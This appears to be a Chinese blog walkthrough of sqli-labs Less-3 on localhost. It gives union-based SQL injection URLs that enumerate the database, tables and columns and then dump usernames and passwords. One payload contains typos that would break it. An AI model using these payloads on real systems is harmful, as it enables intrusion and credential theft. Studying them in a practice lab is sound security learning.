sql-lbas闯关(2)
程序员文章站
2024-03-18 13:18:16
...
第三关
第一步 判断注入类型:
1. 根据第三关的提示可以看出,这关的注入类型是:**单引号和单括号** 型注入
第二步 判断有几个字段位可显示数据
输入:
http://localhost/sqli/Less-3/?id=1') order by 3 --+
依次从1开始替换 ‘3’ 的数值,发现输入4的时候报错,而3正确,说明最大有3位字段可显示数据,正确结果如下图所示:
第三步 判断可显示数据的是哪几位
输入:(查询出来的结果就是可以显示数据的字段位)
ps:这里的数据是“-1”而不是“1”,因为1是正常数字会占用显示位置;只写到3是因为第二步查询出来只有3个数据显示位
http://localhost/sqli/Less-3/?id=-1') union select 1,2,3 --+
根据查询结果可知,能被我们看到的数据显示位只有 2 和 3
第四步 爆数据库名
输入:
ps:要在第三步中查询到可显示数据的位置处去显示,否则结果我们看不到
http://localhost/sqli/Less-3/?id=-1') union select 1,database(),3 --+
得到数据库名为:security
第五步 爆表名
输入:
http://localhost/sqli/Less-3/?id=-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
得到数据库security中有4张表,分别为:emails、referers、uagents、users
information_schema是标准表,是搭建sql-labs环境时导入数据库时的默认表;
group_concat()是将多个结果以一个结果形式显示,结果中间用逗号隔开;
table_name代表要查询表名
table_shema代表数据库名,后面接指定的数据库名的名字,或直接用database()代替
第六步 爆字段名
输入:(这里我们还是查询的是users表)
http://localhost/sqli/Less-3/?id=-1') union select 1,database(),(select group_concat(column_name) from information_schema.columnss where table_shcema="security" and table_name="users") --+
得到users表中有3个字段,分别为:id、username、password
第七步 爆数据
输入:(这里我们选择姓名和密码两个字段来爆;2号位置放姓名,3号位置放密码)
http://localhost/sqli/Less-3/?id=-1') union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
得到第一行数据为用户名;第二行为对应用户的密码(例如:用户Dumb的密码为:Dumb)
推荐阅读
-
HeadFirst设计模式_读书笔记_007_外观模式 博客分类: 2.Java设计模式 java外观模式
-
HeadFirst设计模式_读书笔记_006_适配器模式 博客分类: 2.Java设计模式 java适配器模式
-
sql-lbas闯关(2)
-
HeadFirst设计模式_读书笔记_008_模板方法 博客分类: 2.Java设计模式 java模板方法模式
-
7-2 字符串关键字的散列映射 (25 分)C语言实现
-
数据结构:线性数据结构(2)-队列(栈,队列,deques, 列表)
-
数据结构_2:栈
-
数据结构第2版 3.4队列
-
slim.dataset_data_provider.DatasetDataProvider当指定num_epochs为1时报错:OutOfRangeError: FIFOQueue '_2_par
-
在Linux上安装Oracle12cR2,创建非容器数据库实例,配图